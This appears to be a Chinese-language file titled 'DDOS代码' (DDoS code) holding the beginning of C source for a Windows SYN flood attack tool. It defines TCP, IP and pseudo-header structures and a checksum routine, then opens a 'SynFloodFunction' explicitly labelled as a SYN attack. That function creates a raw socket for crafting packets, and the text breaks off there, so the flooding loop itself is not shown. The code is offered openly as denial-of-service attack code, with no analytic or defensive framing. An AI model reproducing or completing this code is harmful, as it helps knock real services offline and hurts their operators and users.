DDOS代码.doc

DDOS代码
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typedef struct tcphdr   //定义TCP首部
{
USHORT th_sport;   //16位源端口
USHORT th_dport;   //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位标志位
USHORT th_win;    //16位窗口大小
USHORT th_sum;    //16位校验和
USHORT th_urp;    //16位紧急数据偏移量
}TCP_HEADER;
typedef struct _iphdr    //ip头
{
unsigned char h_verlen;   //4位首部长度+4位IP版本号
unsigned char tos;    //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident;   //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl;    //8位生存时间TTL
unsigned char proto;   //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP;   //32位源IP地址
unsigned int destIP;   //32位目的IP地址
}IP_HEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr;     //源地址
unsigned long daddr;     //目的地址
char           mbz;
char           ptcl;     //协议类型
unsigned short tcpl;    //TCP长度
}PSD_HEADER;
//计算校验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
/*********************SYN FLOOD**************************/
unsigned long CALLBACK SynFloodFunction(LPVOID dParam)   //SYN攻击
{
SOCKET             sendSocket; //套接字
SOCKADDR_IN        Sin;   //IP信息结构
IP_HEADER          ipHeader;
TCP_HEADER         tcpHeader;
PSD_HEADER         psdHeader;
char               szSendBuf[1024] = "";
if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)   //创建一个与指定传送服务提供者捆绑的套接口
{                                                                                            //INVALID_SOCKET发生错误